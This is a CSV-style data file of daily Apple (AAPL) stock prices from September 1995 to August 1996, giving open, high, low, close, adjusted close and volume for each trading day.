-1995-09-06,1.5669642686843872,1.5775669813156128,1.5535714626312256,1.5625,1.3553043603897095,50190000.0,AAPL
-1995-09-07,1.5714285373687744,1.6183035373687744,1.5625,1.5982142686843872,1.386283040046692,65581600.0,AAPL
-1995-09-08,1.5982142686843872,1.6026785373687744,1.5892857313156128,1.5982142686843872,1.386283040046692,43694000.0,AAPL
-1995-09-11,1.6026785373687744,1.625,1.5803571939468384,1.5803571939468384,1.3707941770553589,43122800.0,AAPL
-1995-09-12,1.5892857313156128,1.6026785373687744,1.5223214626312256,1.5334821939468384,1.3301348686218262,81564000.0,AAPL
-1995-09-13,1.53125,1.5491071939468384,1.5,1.5133928060531616,1.3127095699310303,80687600.0,AAPL
-1995-09-14,1.4776785373687744,1.4866071939468384,1.4196428060531616,1.4285714626312256,1.239135980606079,137639600.0,AAPL
-1995-09-15,1.3348214626312256,1.4241071939468384,1.2678571939468384,1.28125,1.1113498210906982,302990800.0,AAPL
-1995-09-18,1.2991071939468384,1.3147321939468384,1.28125,1.3102678060531616,1.1365193128585815,155372000.0,AAPL
-1995-09-19,1.3125,1.3258928060531616,1.2901785373687744,1.3125,1.1384557485580444,122505600.0,AAPL
-1995-09-20,1.3303571939468384,1.3348214626312256,1.3035714626312256,1.3080357313156128,1.1345834732055664,80452400.0,AAPL
-1995-09-21,1.3035714626312256,1.3392857313156128,1.2991071939468384,1.3214285373687744,1.1462002992630005,86833600.0,AAPL
-1995-09-22,1.3169642686843872,1.3303571939468384,1.2991071939468384,1.3236607313156128,1.1481366157531738,99660400.0,AAPL
-1995-09-25,1.3660714626312256,1.3666294813156128,1.3348214626312256,1.33984375,1.1621737480163574,78803200.0,AAPL
-1995-09-26,1.3482142686843872,1.3526785373687744,1.3258928060531616,1.3348214626312256,1.1578173637390137,62725600.0,AAPL
-1995-09-27,1.3392857313156128,1.3392857313156128,1.2410714626312256,1.2946428060531616,1.1229668855667114,112809200.0,AAPL
-1995-09-28,1.3035714626312256,1.3526785373687744,1.3035714626312256,1.3482142686843872,1.1694343090057373,82796000.0,AAPL
-1995-09-29,1.3571428060531616,1.3660714626312256,1.3169642686843872,1.3303571939468384,1.1539450883865356,70854000.0,AAPL
-1995-10-02,1.3482142686843872,1.375,1.3392857313156128,1.34375,1.1655620336532593,98000000.0,AAPL
-1995-10-03,1.3616071939468384,1.375,1.3258928060531616,1.34375,1.1655620336532593,72455600.0,AAPL
-1995-10-04,1.3080357313156128,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.1268389225006104,66693200.0,AAPL
-1995-10-05,1.2946428060531616,1.3080357313156128,1.28125,1.3035714626312256,1.130711317062378,61017600.0,AAPL
-1995-10-06,1.3125,1.3214285373687744,1.2723214626312256,1.2745535373687744,1.1055415868759155,77260400.0,AAPL
-1995-10-09,1.2633928060531616,1.2767857313156128,1.2276785373687744,1.2433035373687744,1.0784353017807007,93142000.0,AAPL
-1995-10-10,1.2276785373687744,1.25,1.2008928060531616,1.2388392686843872,1.0745631456375122,100066400.0,AAPL
-1995-10-11,1.2589285373687744,1.2723214626312256,1.21875,1.2455357313156128,1.0803714990615845,83218800.0,AAPL
-1995-10-12,1.25,1.2633928060531616,1.2410714626312256,1.2611607313156128,1.0939244031906128,40513200.0,AAPL
-1995-10-13,1.2767857313156128,1.3169642686843872,1.2678571939468384,1.2857142686843872,1.1152222156524658,58797200.0,AAPL
-1995-10-16,1.2946428060531616,1.3214285373687744,1.28125,1.2901785373687744,1.119093894958496,45516800.0,AAPL
-1995-10-17,1.3035714626312256,1.3169642686843872,1.28125,1.3080357313156128,1.1345834732055664,44654400.0,AAPL
-1995-10-18,1.3214285373687744,1.4129464626312256,1.3125,1.3348214626312256,1.1578173637390137,128100000.0,AAPL
-1995-10-19,1.28125,1.2901785373687744,1.2410714626312256,1.2410714626312256,1.076499581336975,236224800.0,AAPL
-1995-10-20,1.2589285373687744,1.2589285373687744,1.2366071939468384,1.2544642686843872,1.08811616897583,96583200.0,AAPL
-1995-10-23,1.2544642686843872,1.2544642686843872,1.2410714626312256,1.2544642686843872,1.08811616897583,49450800.0,AAPL
-1995-10-24,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.08811616897583,53373600.0,AAPL
-1995-10-25,1.2589285373687744,1.2633928060531616,1.2410714626312256,1.2410714626312256,1.076499581336975,33325600.0,AAPL
-1995-10-26,1.2455357313156128,1.25,1.2321428060531616,1.2455357313156128,1.0803714990615845,31466400.0,AAPL
-1995-10-27,1.2455357313156128,1.2455357313156128,1.21875,1.2410714626312256,1.076499581336975,38553200.0,AAPL
-1995-10-30,1.2455357313156128,1.2589285373687744,1.2366071939468384,1.2589285373687744,1.091988205909729,43909600.0,AAPL
-1995-10-31,1.2589285373687744,1.3080357313156128,1.2544642686843872,1.296875,1.1249030828475952,72304400.0,AAPL
-1995-11-01,1.3080357313156128,1.3258928060531616,1.2678571939468384,1.3080357313156128,1.1345834732055664,48308400.0,AAPL
-1995-11-02,1.3169642686843872,1.3169642686843872,1.2946428060531616,1.3080357313156128,1.1345834732055664,38189200.0,AAPL
-1995-11-03,1.3125,1.3169642686843872,1.28125,1.3035714626312256,1.130711317062378,44858800.0,AAPL
-1995-11-06,1.3035714626312256,1.3839285373687744,1.2991071939468384,1.3616071939468384,1.1810511350631714,77943600.0,AAPL
-1995-11-07,1.3482142686843872,1.4464285373687744,1.3392857313156128,1.4151785373687744,1.2275184392929077,184097200.0,AAPL
-1995-11-08,1.4196428060531616,1.4642857313156128,1.3839285373687744,1.3883928060531616,1.2042851448059082,89706400.0,AAPL
-1995-11-09,1.4196428060531616,1.4285714626312256,1.3883928060531616,1.40625,1.2197742462158203,65027200.0,AAPL
-1995-11-10,1.40625,1.4375,1.3883928060531616,1.4196428060531616,1.231391191482544,55778800.0,AAPL
-1995-11-13,1.4375,1.4732142686843872,1.4285714626312256,1.4598214626312256,1.2662417888641357,79343600.0,AAPL
-1995-11-14,1.4642857313156128,1.5178571939468384,1.4642857313156128,1.4821428060531616,1.2856030464172363,101819200.0,AAPL
-1995-11-15,1.5,1.5,1.4330357313156128,1.4642857313156128,1.2701139450073242,62034000.0,AAPL
-1995-11-16,1.4598214626312256,1.4821428060531616,1.4107142686843872,1.4263392686843872,1.2371994256973267,56557200.0,AAPL
-1995-11-17,1.4285714626312256,1.4419642686843872,1.4196428060531616,1.4330357313156128,1.2430078983306885,32132800.0,AAPL
-1995-11-20,1.4375,1.4375,1.375,1.3794642686843872,1.196540355682373,37114000.0,AAPL
-1995-11-21,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3794642686843872,1.2002732753753662,47902400.0,AAPL
-1995-11-22,1.3794642686843872,1.4017857313156128,1.375,1.3794642686843872,1.2002732753753662,24701600.0,AAPL
-1995-11-24,1.3883928060531616,1.4419642686843872,1.3839285373687744,1.4352678060531616,1.2488276958465576,27487600.0,AAPL
-1995-11-27,1.4508928060531616,1.4508928060531616,1.40625,1.40625,1.2235792875289917,28968800.0,AAPL
-1995-11-28,1.40625,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.2430016994476318,44072000.0,AAPL
-1995-11-29,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.2196950912475586,26317200.0,AAPL
-1995-11-30,1.3883928060531616,1.3928571939468384,1.3571428060531616,1.3616071939468384,1.1847355365753174,43713600.0,AAPL
-1995-12-01,1.3571428060531616,1.3660714626312256,1.3258928060531616,1.34375,1.1691983938217163,51052400.0,AAPL
-1995-12-04,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4107142686843872,1.227463722229004,120170400.0,AAPL
-1995-12-05,1.375,1.4241071939468384,1.3660714626312256,1.4107142686843872,1.227463722229004,90899200.0,AAPL
-1995-12-06,1.4196428060531616,1.4241071939468384,1.3705357313156128,1.3839285373687744,1.2041573524475098,50276800.0,AAPL
-1995-12-07,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3772321939468384,1.1983309984207153,35481600.0,AAPL
-1995-12-08,1.3839285373687744,1.40625,1.3526785373687744,1.40625,1.2235792875289917,35338800.0,AAPL
-1995-12-11,1.4107142686843872,1.4151785373687744,1.3705357313156128,1.3794642686843872,1.2002732753753662,27913200.0,AAPL
-1995-12-12,1.3794642686843872,1.3794642686843872,1.3571428060531616,1.3571428060531616,1.1808511018753052,44388400.0,AAPL
-1995-12-13,1.3660714626312256,1.3928571939468384,1.3125,1.3705357313156128,1.1925045251846313,171225600.0,AAPL
-1995-12-14,1.3883928060531616,1.40625,1.3571428060531616,1.3660714626312256,1.1886197328567505,83375600.0,AAPL
-1995-12-15,1.2678571939468384,1.3080357313156128,1.2276785373687744,1.2589285373687744,1.0953949689865112,181720000.0,AAPL
-1995-12-18,1.2544642686843872,1.2589285373687744,1.1383928060531616,1.1517857313156128,1.0021699666976929,166633600.0,AAPL
-1995-12-19,1.1696428060531616,1.1875,1.1517857313156128,1.1696428060531616,1.0177072286605835,107716000.0,AAPL
-1995-12-20,1.1964285373687744,1.2008928060531616,1.1607142686843872,1.1651785373687744,1.01382315158844,91434000.0,AAPL
-1995-12-21,1.1696428060531616,1.1696428060531616,1.1294642686843872,1.1607142686843872,1.0099385976791382,83218800.0,AAPL
-1995-12-22,1.1651785373687744,1.1741071939468384,1.1473214626312256,1.1517857313156128,1.0021699666976929,58665600.0,AAPL
-1995-12-26,1.1607142686843872,1.1607142686843872,1.1339285373687744,1.1450892686843872,0.9963434338569641,34876800.0,AAPL
-1995-12-27,1.1473214626312256,1.1919642686843872,1.1383928060531616,1.15625,1.0060546398162842,67141200.0,AAPL
-1995-12-28,1.1473214626312256,1.1696428060531616,1.1383928060531616,1.1428571939468384,0.9944009780883789,62498800.0,AAPL
-1995-12-29,1.1428571939468384,1.15625,1.1294642686843872,1.1383928060531616,0.9905167818069458,76034000.0,AAPL
-1996-01-02,1.1517857313156128,1.1517857313156128,1.1339285373687744,1.1473214626312256,0.9982854723930359,34823600.0,AAPL
-1996-01-03,1.1428571939468384,1.1741071939468384,1.1383928060531616,1.1473214626312256,0.9982854723930359,107458400.0,AAPL
-1996-01-04,1.15625,1.15625,1.1205357313156128,1.1272321939468384,0.9808056950569153,75045600.0,AAPL
-1996-01-05,1.1294642686843872,1.2232142686843872,1.1205357313156128,1.2232142686843872,1.0643199682235718,111482000.0,AAPL
-1996-01-08,1.2321428060531616,1.2678571939468384,1.2142857313156128,1.2366071939468384,1.0759729146957397,30335200.0,AAPL
-1996-01-09,1.2366071939468384,1.2366071939468384,1.1696428060531616,1.1696428060531616,1.0177072286605835,62804000.0,AAPL
-1996-01-10,1.1607142686843872,1.2410714626312256,1.1517857313156128,1.2232142686843872,1.0643199682235718,91358400.0,AAPL
-1996-01-11,1.1651785373687744,1.25,1.15625,1.25,1.0876262187957764,189184800.0,AAPL
-1996-01-12,1.2410714626312256,1.2410714626312256,1.1875,1.2098214626312256,1.0526667833328247,100464000.0,AAPL
-1996-01-15,1.2053571939468384,1.2321428060531616,1.1919642686843872,1.21875,1.0604356527328491,90770400.0,AAPL
-1996-01-16,1.2276785373687744,1.2410714626312256,1.2008928060531616,1.234375,1.0740309953689575,88228000.0,AAPL
-1996-01-17,1.2276785373687744,1.2276785373687744,1.2053571939468384,1.2142857313156128,1.0565510988235474,59102400.0,AAPL
-1996-01-18,1.1741071939468384,1.1919642686843872,1.0848214626312256,1.140625,0.9924589395523071,174596800.0,AAPL
-1996-01-19,1.1071428060531616,1.1339285373687744,1.0491071939468384,1.0669642686843872,0.9283665418624878,207306400.0,AAPL
-1996-01-22,1.0625,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.947788655757904,124936000.0,AAPL
-1996-01-23,1.2053571939468384,1.2142857313156128,1.1071428060531616,1.1294642686843872,0.9827477335929871,247072000.0,AAPL
-1996-01-24,1.1473214626312256,1.1517857313156128,1.1339285373687744,1.1517857313156128,1.0021699666976929,163973600.0,AAPL
-1996-01-25,1.1339285373687744,1.1428571939468384,1.0758928060531616,1.0803571939468384,0.9400197267532349,111300000.0,AAPL
-1996-01-26,1.0848214626312256,1.1160714626312256,1.0223214626312256,1.09375,0.9516730904579163,183937600.0,AAPL
-1996-01-29,1.0357142686843872,1.0625,1.0267857313156128,1.0401785373687744,0.905060350894928,83148800.0,AAPL
-1996-01-30,0.9642857313156128,1.0044642686843872,0.9592633843421936,0.9754464030265808,0.8487366437911987,155710800.0,AAPL
-1996-01-31,0.9910714030265808,1.0,0.9776785969734192,0.9866071343421936,0.8584477305412292,82014800.0,AAPL
-1996-02-01,0.9821428656578064,1.0133928060531616,0.9821428656578064,1.0133928060531616,0.8817540407180786,83260800.0,AAPL
-1996-02-02,1.03125,1.0580357313156128,1.0267857313156128,1.0446428060531616,0.9089447259902954,138994800.0,AAPL
-1996-02-05,1.0602678060531616,1.0625,1.0357142686843872,1.0446428060531616,0.9089447259902954,79682400.0,AAPL
-1996-02-06,1.0446428060531616,1.0714285373687744,1.0446428060531616,1.0580357313156128,0.9205979108810425,56554400.0,AAPL
-1996-02-07,1.0625,1.0625,0.9910714030265808,1.0089285373687744,0.877869725227356,90081600.0,AAPL
-1996-02-08,0.9821428656578064,1.0044642686843872,0.9821428656578064,0.9955357313156128,0.8662167191505432,65791600.0,AAPL
-1996-02-09,0.9955357313156128,1.0178571939468384,0.9866071343421936,0.9910714030265808,0.8623321652412415,51422000.0,AAPL
-1996-02-12,1.0044642686843872,1.0178571939468384,1.0,1.0133928060531616,0.8817540407180786,48568800.0,AAPL
-1996-02-13,1.0,1.03125,0.9955357313156128,1.0044642686843872,0.873985230922699,57125600.0,AAPL
-1996-02-14,1.0089285373687744,1.0089285373687744,0.9799107313156128,0.9866071343421936,0.8584477305412292,40796000.0,AAPL
-1996-02-15,0.9866071343421936,1.0044642686843872,0.9776785969734192,1.0,0.8701008558273315,30520000.0,AAPL
-1996-02-16,1.0044642686843872,1.0133928060531616,0.9821428656578064,0.9821428656578064,0.8545634746551514,39110400.0,AAPL
-1996-02-20,1.0,1.0535714626312256,1.0,1.0357142686843872,0.9011759757995605,94228400.0,AAPL
-1996-02-21,1.0491071939468384,1.0625,1.0401785373687744,1.0580357313156128,0.9205979108810425,55459600.0,AAPL
-1996-02-22,1.0714285373687744,1.0758928060531616,1.0580357313156128,1.0669642686843872,0.9283665418624878,46046000.0,AAPL
-1996-02-23,1.0669642686843872,1.0803571939468384,1.0580357313156128,1.0669642686843872,0.9283665418624878,43321600.0,AAPL
-1996-02-26,1.0714285373687744,1.0758928060531616,1.0535714626312256,1.0535714626312256,0.9167134165763855,29570800.0,AAPL
-1996-02-27,1.0669642686843872,1.0669642686843872,1.0178571939468384,1.0223214626312256,0.889522910118103,37290400.0,AAPL
-1996-02-28,1.03125,1.03125,0.9866071343421936,0.9910714030265808,0.8623321652412415,46978400.0,AAPL
-1996-02-29,0.9821428656578064,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8545634746551514,28221200.0,AAPL
-1996-03-01,0.9866071343421936,0.9866071343421936,0.9508928656578064,0.9598214030265808,0.8351414203643799,57783600.0,AAPL
-1996-03-04,0.9732142686843872,0.9776785969734192,0.9375,0.9375,0.815719723701477,46888800.0,AAPL
-1996-03-05,0.9464285969734192,0.9553571343421936,0.9375,0.9508928656578064,0.8273728489875793,29610000.0,AAPL
-1996-03-06,0.9553571343421936,0.9598214030265808,0.9330357313156128,0.9352678656578064,0.8137774467468262,24763200.0,AAPL
-1996-03-07,0.9375,0.9419642686843872,0.90625,0.921875,0.8021242618560791,65016000.0,AAPL
-1996-03-08,0.9196428656578064,0.9375,0.8928571343421936,0.9285714030265808,0.8079507946968079,37251200.0,AAPL
-1996-03-11,0.9375,0.9419642686843872,0.9196428656578064,0.9241071343421936,0.8040664792060852,31752000.0,AAPL
-1996-03-12,0.9285714030265808,0.9419642686843872,0.9151785969734192,0.921875,0.8021242618560791,24038000.0,AAPL
-1996-03-13,0.9241071343421936,0.9330357313156128,0.9151785969734192,0.9196428656578064,0.8001821637153625,24920000.0,AAPL
-1996-03-14,0.9241071343421936,0.9241071343421936,0.9107142686843872,0.9151785969734192,0.7962977290153503,23340800.0,AAPL
-1996-03-15,0.9285714030265808,0.9285714030265808,0.9107142686843872,0.9241071343421936,0.8040664792060852,25345600.0,AAPL
-1996-03-18,0.9263392686843872,0.9330357313156128,0.9196428656578064,0.9330357313156128,0.8118351101875305,27283200.0,AAPL
-1996-03-19,0.9419642686843872,0.9464285969734192,0.9151785969734192,0.9196428656578064,0.8001821637153625,31091200.0,AAPL
-1996-03-20,0.9196428656578064,0.9196428656578064,0.8973214030265808,0.9017857313156128,0.784644603729248,28996800.0,AAPL
-1996-03-21,0.9107142686843872,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7807601690292358,27496000.0,AAPL
-1996-03-22,0.9017857313156128,0.90625,0.8883928656578064,0.90625,0.7885289192199707,26891200.0,AAPL
-1996-03-25,0.9107142686843872,0.9196428656578064,0.8571428656578064,0.8571428656578064,0.7458008527755737,41092800.0,AAPL
-1996-03-26,0.8571428656578064,0.875,0.84375,0.8526785969734192,0.7419164180755615,40199600.0,AAPL
-1996-03-27,0.8303571343421936,0.9017857313156128,0.8214285969734192,0.9017857313156128,0.784644603729248,107324000.0,AAPL
-1996-03-28,0.8839285969734192,0.9151785969734192,0.8616071343421936,0.8638392686843872,0.7516274452209473,73973200.0,AAPL
-1996-03-29,0.8660714030265808,0.8839285969734192,0.8482142686843872,0.8772321343421936,0.7632806897163391,41630400.0,AAPL
-1996-04-01,0.8973214030265808,0.9241071343421936,0.8755580186843872,0.9107142686843872,0.7924133539199829,39659200.0,AAPL
-1996-04-02,0.9151785969734192,0.9151785969734192,0.8883928656578064,0.8928571343421936,0.7768757343292236,25359600.0,AAPL
-1996-04-03,0.8973214030265808,0.8973214030265808,0.8688616156578064,0.8772321343421936,0.7632806897163391,18060000.0,AAPL
-1996-04-04,0.8794642686843872,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7496851682662964,21512400.0,AAPL
-1996-04-08,0.8526785969734192,0.875,0.8482142686843872,0.8705357313156128,0.7574540972709656,42207200.0,AAPL
-1996-04-09,0.8883928656578064,0.9464285969734192,0.8705357313156128,0.9285714030265808,0.8079507946968079,58769200.0,AAPL
-1996-04-10,0.9330357313156128,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.8079507946968079,43691200.0,AAPL
-1996-04-11,0.9330357313156128,0.9375,0.9107142686843872,0.9196428656578064,0.8001821637153625,24567200.0,AAPL
-1996-04-12,0.9241071343421936,0.9241071343421936,0.90625,0.9107142686843872,0.7924133539199829,20358800.0,AAPL
-1996-04-15,0.9107142686843872,0.9196428656578064,0.8928571343421936,0.9196428656578064,0.8001821637153625,38519600.0,AAPL
-1996-04-16,0.9241071343421936,0.9285714030265808,0.9151785969734192,0.9241071343421936,0.8040664792060852,25354000.0,AAPL
-1996-04-17,0.9241071343421936,0.9285714030265808,0.8973214030265808,0.9017857313156128,0.784644603729248,21352800.0,AAPL
-1996-04-18,0.90625,0.9068080186843872,0.8660714030265808,0.8839285969734192,0.7691071629524231,54311600.0,AAPL
-1996-04-19,0.8794642686843872,0.8973214030265808,0.8794642686843872,0.8950892686843872,0.778817892074585,25449200.0,AAPL
-1996-04-22,0.9017857313156128,0.9107142686843872,0.8883928656578064,0.8973214030265808,0.7807601690292358,27778800.0,AAPL
-1996-04-23,0.8973214030265808,0.9017857313156128,0.8794642686843872,0.8839285969734192,0.7691071629524231,42487200.0,AAPL
-1996-04-24,0.8794642686843872,0.8839285969734192,0.8638392686843872,0.8660714030265808,0.7535696029663086,32085200.0,AAPL
-1996-04-25,0.8705357313156128,0.8883928656578064,0.8616071343421936,0.8883928656578064,0.7729914784431458,43601600.0,AAPL
-1996-04-26,0.8928571343421936,0.8973214030265808,0.8794642686843872,0.8839285969734192,0.7691071629524231,47216400.0,AAPL
-1996-04-29,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7691071629524231,30262400.0,AAPL
-1996-04-30,0.8883928656578064,0.8883928656578064,0.8616071343421936,0.8705357313156128,0.7574540972709656,34165600.0,AAPL
-1996-05-01,0.8705357313156128,0.8839285969734192,0.8616071343421936,0.8705357313156128,0.7574540972709656,28176400.0,AAPL
-1996-05-02,0.875,0.875,0.8392857313156128,0.8482142686843872,0.7380321025848389,47076400.0,AAPL
-1996-05-03,0.8616071343421936,0.8616071343421936,0.8392857313156128,0.8526785969734192,0.7419164180755615,27115200.0,AAPL
-1996-05-06,0.8883928656578064,0.9241071343421936,0.8839285969734192,0.9151785969734192,0.7962977290153503,72371600.0,AAPL
-1996-05-07,0.9419642686843872,0.9776785969734192,0.9375,0.9598214030265808,0.8351414203643799,88384800.0,AAPL
-1996-05-08,0.9732142686843872,0.9732142686843872,0.9151785969734192,0.9553571343421936,0.8312572240829468,46698400.0,AAPL
-1996-05-09,0.9419642686843872,0.9464285969734192,0.9196428656578064,0.9330357313156128,0.8118351101875305,24519600.0,AAPL
-1996-05-10,0.9375,0.9776785969734192,0.9285714030265808,0.9732142686843872,0.846794605255127,27647200.0,AAPL
-1996-05-13,0.96875,0.9866071343421936,0.9508928656578064,0.9665178656578064,0.8409680724143982,46754400.0,AAPL
-1996-05-14,0.9910714030265808,1.0,0.9821428656578064,0.9821428656578064,0.8545634746551514,49406000.0,AAPL
-1996-05-15,0.9955357313156128,1.03125,0.9910714030265808,1.0178571939468384,0.8856388330459595,73091200.0,AAPL
-1996-05-16,1.0089285373687744,1.0223214626312256,0.9955357313156128,1.0133928060531616,0.8817540407180786,32519200.0,AAPL
-1996-05-17,1.0133928060531616,1.0133928060531616,0.9821428656578064,0.9866071343421936,0.8584477305412292,30825200.0,AAPL
-1996-05-20,0.9955357313156128,1.0044642686843872,0.9866071343421936,0.9977678656578064,0.8681586980819702,21128800.0,AAPL
-1996-05-21,1.0,1.0044642686843872,0.96875,0.96875,0.8429102301597595,28596400.0,AAPL
-1996-05-22,0.9776785969734192,0.9776785969734192,0.9196428656578064,0.9308035969734192,0.8098929524421692,50470000.0,AAPL
-1996-05-23,0.9330357313156128,0.9508928656578064,0.9196428656578064,0.9375,0.815719723701477,31012800.0,AAPL
-1996-05-24,0.9375,0.9598214030265808,0.9330357313156128,0.9553571343421936,0.8312572240829468,28310800.0,AAPL
-1996-05-28,0.9553571343421936,0.9732142686843872,0.9419642686843872,0.9419642686843872,0.8196040391921997,25463200.0,AAPL
-1996-05-29,0.9375,0.9375,0.8839285969734192,0.8883928656578064,0.7729914784431458,54880000.0,AAPL
-1996-05-30,0.8883928656578064,0.9196428656578064,0.8839285969734192,0.9107142686843872,0.7924133539199829,25866400.0,AAPL
-1996-05-31,0.9151785969734192,0.9508928656578064,0.9107142686843872,0.9330357313156128,0.8118351101875305,40661600.0,AAPL
-1996-06-03,0.9241071343421936,0.9285714030265808,0.8839285969734192,0.8839285969734192,0.7691071629524231,31365600.0,AAPL
-1996-06-04,0.8571428656578064,0.8705357313156128,0.8526785969734192,0.8638392686843872,0.7516274452209473,190559600.0,AAPL
-1996-06-05,0.90625,0.9107142686843872,0.8660714030265808,0.8973214030265808,0.7807601690292358,127526000.0,AAPL
-1996-06-06,0.8928571343421936,0.9017857313156128,0.8616071343421936,0.8660714030265808,0.7535696029663086,90524000.0,AAPL
-1996-06-07,0.8571428656578064,0.8705357313156128,0.8392857313156128,0.8705357313156128,0.7574540972709656,66942400.0,AAPL
-1996-06-10,0.8705357313156128,0.875,0.8571428656578064,0.8616071343421936,0.7496851682662964,26591600.0,AAPL
-1996-06-11,0.8660714030265808,0.8660714030265808,0.8571428656578064,0.8571428656578064,0.7458008527755737,38264800.0,AAPL
-1996-06-12,0.875,0.875,0.8571428656578064,0.8660714030265808,0.7535696029663086,37979200.0,AAPL
-1996-06-13,0.8705357313156128,0.8900669813156128,0.8571428656578064,0.8794642686843872,0.7652228474617004,47854800.0,AAPL
-1996-06-14,0.8839285969734192,0.8839285969734192,0.8526785969734192,0.8549107313156128,0.7438586950302124,36240400.0,AAPL
-1996-06-17,0.8616071343421936,0.8616071343421936,0.84375,0.84375,0.7341476678848267,28232400.0,AAPL
-1996-06-18,0.84375,0.8482142686843872,0.8080357313156128,0.8125,0.7069570422172546,55806800.0,AAPL
-1996-06-19,0.8258928656578064,0.8348214030265808,0.8080357313156128,0.8258928656578064,0.7186100482940674,33616800.0,AAPL
-1996-06-20,0.8348214030265808,0.8348214030265808,0.8035714030265808,0.8125,0.7069570422172546,36772400.0,AAPL
-1996-06-21,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.8080357313156128,0.703072726726532,40462800.0,AAPL
-1996-06-24,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.7946428656578064,0.6914195418357849,30690800.0,AAPL
-1996-06-25,0.7901785969734192,0.7946428656578064,0.7276785969734192,0.7366071343421936,0.6409225463867188,61740000.0,AAPL
-1996-06-26,0.7366071343421936,0.7410714030265808,0.7008928656578064,0.7098214030265808,0.6176163554191589,101082800.0,AAPL
-1996-06-27,0.7142857313156128,0.75,0.7053571343421936,0.7366071343421936,0.6409225463867188,57310400.0,AAPL
-1996-06-28,0.7455357313156128,0.75,0.7366071343421936,0.75,0.652575671672821,28921200.0,AAPL
-1996-07-01,0.7544642686843872,0.7678571343421936,0.75,0.7678571343421936,0.6681132912635803,32995200.0,AAPL
-1996-07-02,0.7633928656578064,0.7678571343421936,0.75,0.75,0.652575671672821,22251600.0,AAPL
-1996-07-03,0.7276785969734192,0.7276785969734192,0.6919642686843872,0.6919642686843872,0.6020786762237549,72153200.0,AAPL
-1996-07-05,0.6919642686843872,0.7053571343421936,0.6875,0.6964285969734192,0.6059631109237671,26538400.0,AAPL
-1996-07-08,0.7008928656578064,0.7098214030265808,0.6785714030265808,0.6830357313156128,0.5943098664283752,47227600.0,AAPL
-1996-07-09,0.6964285969734192,0.7008928656578064,0.6785714030265808,0.6785714030265808,0.5904255509376526,46956000.0,AAPL
-1996-07-10,0.6830357313156128,0.6964285969734192,0.6696428656578064,0.6696428656578064,0.582656979560852,42347200.0,AAPL
-1996-07-11,0.6696428656578064,0.6741071343421936,0.6205357313156128,0.6383928656578064,0.5554664134979248,72788800.0,AAPL
-1996-07-12,0.65625,0.65625,0.6160714030265808,0.6450892686843872,0.5612925887107849,67247600.0,AAPL
-1996-07-15,0.6473214030265808,0.6473214030265808,0.6116071343421936,0.6138392686843872,0.5341020822525024,33306000.0,AAPL
-1996-07-16,0.6205357313156128,0.6205357313156128,0.5714285969734192,0.6026785969734192,0.5243910551071167,72304400.0,AAPL
-1996-07-17,0.6205357313156128,0.625,0.59375,0.6026785969734192,0.5243910551071167,58399600.0,AAPL
-1996-07-18,0.7678571343421936,0.7767857313156128,0.7271205186843872,0.7455357313156128,0.6486913561820984,224263200.0,AAPL
-1996-07-19,0.7455357313156128,0.75,0.7410714030265808,0.7410714030265808,0.6448068022727966,66494400.0,AAPL
-1996-07-22,0.7455357313156128,0.7455357313156128,0.7142857313156128,0.7232142686843872,0.6292695999145508,38052000.0,AAPL
-1996-07-23,0.7321428656578064,0.7366071343421936,0.7232142686843872,0.7321428656578064,0.6370381116867065,32530400.0,AAPL
-1996-07-24,0.7142857313156128,0.75,0.7098214030265808,0.7433035969734192,0.6467491984367371,66018400.0,AAPL
-1996-07-25,0.7544642686843872,0.7633928656578064,0.7410714030265808,0.75,0.652575671672821,28607600.0,AAPL
-1996-07-26,0.7678571343421936,0.7857142686843872,0.7544642686843872,0.7857142686843872,0.6836507320404053,30920400.0,AAPL
-1996-07-29,0.7857142686843872,0.8035714030265808,0.7767857313156128,0.7946428656578064,0.6914195418357849,48924400.0,AAPL
-1996-07-30,0.8080357313156128,0.8125,0.7589285969734192,0.7633928656578064,0.6642288565635681,47350800.0,AAPL
-1996-07-31,0.7589285969734192,0.7857142686843872,0.7589285969734192,0.7857142686843872,0.6836507320404053,23195200.0,AAPL
-1996-08-01,0.7857142686843872,0.7857142686843872,0.7544642686843872,0.7589285969734192,0.6603444814682007,27540800.0,AAPL
-1996-08-02,0.7723214030265808,0.7857142686843872,0.7589285969734192,0.7723214030265808,0.6719975471496582,31987200.0,AAPL
-1996-08-05,0.7723214030265808,0.78125,0.7455357313156128,0.75,0.652575671672821,25253200.0,AAPL
-1996-08-06,0.75,0.7678571343421936,0.7410714030265808,0.7678571343421936,0.6681132912635803,23396800.0,AAPL
-1996-08-07,0.7767857313156128,0.8080357313156128,0.7723214030265808,0.7991071343421936,0.6953038573265076,62115200.0,AAPL
-1996-08-08,0.7991071343421936,0.7991071343421936,0.78125,0.7901785969734192,0.6875352263450623,25379200.0,AAPL
-1996-08-09,0.7946428656578064,0.8348214030265808,0.7901785969734192,0.8258928656578064,0.7186100482940674,57696800.0,AAPL
-1996-08-12,0.8348214030265808,0.84375,0.7991071343421936,0.8214285969734192,0.7147256135940552,37836400.0,AAPL
-1996-08-13,0.8169642686843872,0.8258928656578064,0.7991071343421936,0.8035714030265808,0.6991884112358093,25877600.0,AAPL
-1996-08-14,0.8080357313156128,0.8214285969734192,0.8080357313156128,0.8125,0.7069570422172546,17964800.0,AAPL
-1996-08-15,0.8080357313156128,0.8125,0.7946428656578064,0.7946428656578064,0.6914195418357849,26905200.0,AAPL
-1996-08-16,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.8035714030265808,0.6991884112358093,35439600.0,AAPL
-1996-08-19,0.7991071343421936,0.84375,0.7991071343421936,0.84375,0.7341476678848267,56579600.0,AAPL
-1996-08-20,0.8526785969734192,0.8526785969734192,0.8348214030265808,0.8392857313156128,0.7302632927894592,52939600.0,AAPL
-1996-08-21,0.8392857313156128,0.84375,0.8169642686843872,0.8214285969734192,0.7147256135940552,28336000.0,AAPL
